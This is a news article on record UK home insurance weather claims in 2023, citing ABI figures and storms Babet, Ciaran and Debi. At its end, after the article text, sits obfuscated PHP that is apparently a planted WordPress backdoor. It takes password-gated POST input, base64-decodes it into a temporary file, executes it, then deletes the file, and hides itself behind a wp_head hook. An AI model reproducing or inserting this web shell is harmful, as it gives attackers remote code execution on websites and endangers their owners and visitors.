Published On: Tue, Apr 16th, 2024

Home insurance claims surge as Storm Babet and others wreak havoc on properties | Personal Finance | Finance

The value of weather-related damage insurance claims surged to an all-time high of £573 million last year.

The figure was up by 36 percent on 2022 and was largely fuelled by the succession of storms, including Babet, Ciaran and Debi that struck last autumn.

Homeowner’s storms damage claims – high winds and debris – totalled £133m but subsequent flooding added £286m.

A further £153m of weather claims came from burst pipes, most of which was incurred in the first three months of 2023 at the tail end of a cold winter.

The figures come from the Association of British Insurers (ABI) which said adverse weather is putting pressure on the industry.

Louise Clark, Policy Adviser at the ABI said: “Extreme weather events may not feel so rare as they used to as we grapple with a changing climate.

“Insurers continue to be there for affected homeowners, with payouts hitting record levels after a particularly difficult autumn and winter with seemingly countless storms, from Agnes onwards leading to significant flooding.

“While insurance will continue to protect homeowners and businesses, we can’t afford to lose momentum on our flood defence programme, and we continue to press the government for further investment in flood defence and maintenance, as well as calling for changes to the planning system to discourage building where flooding might be more likely.”

The key trend was the rising effects of adverse weather.

The industry paid out a total of £4.86 billion across all claims in 2023. More than half of this figure – £2.55 billion – related to home insurance claims.

That was up almost 10 percent – around £200 million – on the year before.

The total number of claims remained fairly level, however the average claim paid to businesses and homeowners rose by 11 percent to £6,235.

Source link

Verified by MonsterInsights
if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}